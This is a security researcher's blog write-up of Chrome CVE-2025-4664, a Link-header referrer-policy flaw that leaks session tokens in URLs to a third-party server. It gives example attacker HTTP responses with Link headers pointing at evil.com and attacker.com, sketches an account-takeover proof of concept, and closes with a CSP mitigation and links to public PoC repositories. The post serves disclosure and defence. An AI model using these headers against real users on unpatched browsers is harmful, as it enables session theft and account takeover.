A while ago, I stumbled across this intriguing tweet from security researcher Vsevolod Kokorin (@slonser_):
The three-line snippet was almost boring - create an <img>
element, point the src
at a user-controlled URL, drop it into the DOM.
The thread that followed caught the attention of Google security engineer @terjanq, who replied:
I checked the NIST page and found this in the linked Chrome release notes:
Google’s security team had just confirmed that this very vulnerability, tracked as CVE-2025-4664, was being actively exploited in the wild.
An actively exploited 0day? I had to dig deeper.
To understand how this vulnerability works, let me quickly cover a few key web concepts.
Quick Primer
HTTP Referer: When your browser loads a page from one domain that includes resources (images, CSS) from another domain, it sends a Referer
header telling the second domain where the request came from.
Referrer Policies: Websites can control how much referrer info gets shared - from sending nothing (no-referrer
) to sending the full URL including sensitive query parameters (unsafe-url
).
Link Header: An HTTP header that tells browsers about resources to preload or prefetch for optimization.
Chrome’s Quirky Behavior
Chrome has an interesting feature that other browsers don’t: it processes Link
HTTP headers on subresource requests.
The Link
header is usually used for resource hints:
Link: <https://cdn.example.com/style.css>; rel="preload"; as="style"
This tells Chrome to start downloading the CSS file early. Normal optimization stuff.
But here’s the twist - the Link
header can also specify a referrer policy, and Chrome honors it. Even on subresources like images.
So an attacker can craft a response like this:
Link: <https://attacker.com/log>; rel="preload"; as="image"; referrerpolicy="unsafe-url"
When Chrome processes this header, it makes a preload request to the attacker’s server and sends the full referrer URL - including any sensitive query parameters.
Other browsers ignore referrer policies in Link
headers for subresources. Only Chrome thought this was worth implementing.
Account Takeover via Referrer Leak
Here’s how this becomes dangerous. Many applications put sensitive data in URLs after authentication:
https://app.com/profile?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
If that page loads an attacker-controlled image:
<img src="https://attacker.com/track.png" />
The attacker responds with:
HTTP/1.1 200 OK
Content-Type: image/png
Link: <https://evil.com/steal>; rel="preload"; as="image"; referrerpolicy="unsafe-url"
[PNG image data]
Chrome processes the Link
header, makes a preload request to https://evil.com/steal
, and includes the full referrer URL with the victim’s session token.
The attacker now has a valid session token and can impersonate the user.
Proof of Concept
To simulate the ATO, I built a complete demo with three components:
- Target app (
example.com:5000
): Main application with OAuth flow that puts session tokens in URLs - SSO provider (
sso.example.com:5001
): Handles authentication - Attacker (
attacker.test:9000
): Exploits CVE-2025-4664 to steal tokens
The attack flow:
- User completes OAuth login, gets redirected to
/profile?session=<token>
- Profile page loads attacker’s image:
<img src="http://attacker.test:9000/image">
- Attacker responds with malicious
Link
header - Chrome makes preload request, leaking the full referrer with session token
CVE‑2025‑4664 isn’t limited to images or OAuth redirects though. Any attacker‑controlled subresource can leak the full page URL including sensitive query parameters.
Video Demo
Here’s a side-by-side comparison showing the exploitation on vulnerable Chrome (136.0.7103.113) vs latest stable (138.0.7204.49) (view on Vimeo):
Mitigation Strategies
Chrome has patched this, so it only affects older versions. The main defense is a strict CSP:
Content-Security-Policy: img-src 'self' https://trusted-cdn.com
This prevents loading images from untrusted domains.
If you’re curious how this was fixed in Chrome, check the commits on the Chromium Bug Report: https://issues.chromium.org/issues/415810136.
Working PoC
Complete PoC repository: amalmurali47/cve-2025-4664.
For a quick test without any setup, try Rhynorater’s PoC. Note that you’ll need a vulnerable Chrome version (pre-136.0.7103.113) and should check the network tab to see the referrer leak in action.
Additional Resources
- Check out Critical Thinking’s tweet about additional exploitation vectors
- Critical Thinking Podcast - Episode 121
- Account hijacking using “dirty dancing” in sign-in OAuth-flows - A masterpiece by Frans Rosén
Credits
- Massive props to slonser_ for the original discovery!
- Article by Voorivex - the SSO flow was inspired by that writeup.
- Michael Benich for reviewing this writeup.